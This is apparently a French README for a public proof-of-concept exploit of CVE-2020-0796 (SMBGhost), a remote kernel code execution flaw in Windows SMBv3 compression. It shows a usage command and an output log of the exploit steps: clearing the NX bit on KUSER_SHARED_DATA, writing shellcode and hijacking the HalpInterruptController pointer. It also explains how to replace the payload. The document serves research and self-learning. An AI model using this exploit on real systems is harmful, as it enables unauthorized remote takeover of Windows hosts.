
Preuve de concept d'exploit d'exécution de code à distance pour CVE-2020-0796 (SMBGhost) ciblant la vulnérabilité de compression SMBv3 de Windows avec injection de shellcode en mode noyau.
PoC RCE pour CVE-2020-0796 "SMBGhost"
À des fins de démonstration uniquement ! Utilisez-le uniquement comme référence. Sérieusement. Cela n'a pas été testé en dehors de mon environnement de laboratoire. Il a été écrit rapidement et nécessite du travail pour être plus fiable. Parfois, vous obtenez un BSOD. Utiliser cela dans un but autre que l'auto-apprentissage est une très mauvaise idée. Votre ordinateur prendra feu. Des chiots mourront.
Maintenant que c'est dit...
Exemple d'utilisation :
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Remplacez la charge utile dans USER_PAYLOAD dans exploit.py. Maximum 600 octets. Si vous en voulez plus, modifiez vous-même le code du noyau du shell.
Code lznt1 provenant de ici. Modifié pour ajouter une fonction de "mauvaise compression" afin de corrompre l'en-tête du tampon SRVNET sans provoquer de crash.
Consultez cet excellent article de Ricera Security pour plus de détails sur les méthodes que j'ai utilisées :